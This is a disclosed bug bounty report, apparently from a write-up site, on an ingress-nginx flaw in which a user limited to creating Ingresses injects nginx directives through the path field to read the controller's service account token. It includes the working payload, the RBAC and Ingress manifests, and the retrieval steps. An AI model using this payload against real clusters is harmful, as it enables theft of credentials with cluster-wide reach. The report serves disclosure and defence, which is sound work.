Ingress-nginx path allows retrieval of ingress-nginx serviceaccount token
A user allowed only to create Ingress resources could inject nginx configuration through the Ingress path field, causing the controller to serve files from its own service account directory. This let the attacker retrieve the ingress-nginx service account token, which could list secrets across all namespaces.
- Triaged in 20 days
- Fixed in 9 months
- Paid in 57 days
- Disclosed after 9 months
Report Submission Form
Summary:
A user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).
Kubernetes Version:
1.20 (should work on (1.21 as well)
Component Version:
nginx ingress controller v1.0.4
Steps To Reproduce:
I deployed the latest ingress-controller (v1.0.4). I used a user (gaf_test) that has the permissions to get, create and update ingress resources (the “get” permissions is only to allow kubectl to view the newly created resource).
ingress-creator-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: ingress-creator
namespace: default
rules:
- apiGroups: ["networking.k8s.io"]
resources: ["ingresses"]
verbs: ["get", "create", "update"]
ingress-creator-role-binding.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: gaf_test-ingress-creator-binding
namespace: default
subjects:
- kind: User
name: gaf_test
apiGroup: rbac.authorization.k8s.io
roleRef:
kind: Role
name: ingress-creator
apiGroup: rbac.authorization.k8s.io
This user (gaf_user) cannot list secrets at all.

Use this user (gaf_user) to create a new ingress resource in the default namespace.
ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: gaf-ingress
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
rules:
- http:
paths:
- path: /gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~* ^/aaa
pathType: Prefix
backend:
service:
name: some-service
port:
number: 5678
kubectl apply -f ingress.yaml

Access to nginx ingress loadbalancer to /gaf/token path.
https://<host>/gaf/token

Decode the token to see it belongs to the ingress-nginx

The nginx-ingress service account is bound to the nginx-ingress cluser role that can list secrets in all namespaces.
The Root Cause
When a user creates an ingress resource, the new configuration is updated in the /etc/nginx/nginx.conf file in the ingress-nginx-controller pod located in the nginx-ingress namespace. I caused a “config file injection” using the following payload as path:
/gaf{alias /var/run/secrets/kubernetes.io/serviceaccount/;}location ~ ^/aaa* The payload above creates the following configuration for nginx:
/etc/nginx/nginx.conf

This is the relevant part from the configuration which creates a new route to /gaf path and uses an alias (http://nginx.org/en/docs/http/ngx_http_core_module.html#alias) that maps to /var/run/secrets/kubernetes.io/serviceaccount/ directory on the ingress-nginx-controller pod.
Impact
A user with the permissions to create an ingress resource can obtain the ingress-nginx service account token which can list secrets is all namespaces (cluster wide).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The Ingress path value was written into the generated nginx configuration without sanitisation, allowing config file injection via nginx alias and location directives.
Impact
An attacker with only Ingress creation rights could obtain the controller's service account token and use it to list secrets cluster-wide.
What the attacker needed
Permission to create Ingress resources; ingress-nginx controller deployed; network access to the ingress load balancer
How it was found
- Deploy the ingress-nginx controller and create a user limited to get, create and update Ingress resources.
- As that limited user, apply an Ingress whose path contains injected nginx directives.
- Request the crafted path on the ingress load balancer to reach the service account directory.
- Retrieve and decode the token to confirm it belongs to ingress-nginx.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Kubernetes lets people define 'Ingress' objects to route web traffic, and the nginx ingress controller turns those objects into nginx configuration files. Here the path field was copied into the config without proper escaping, so a crafted path could add extra nginx directives. That let the attacker read a secret file inside the controller's own pod, which holds a token granting broad access to the cluster.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.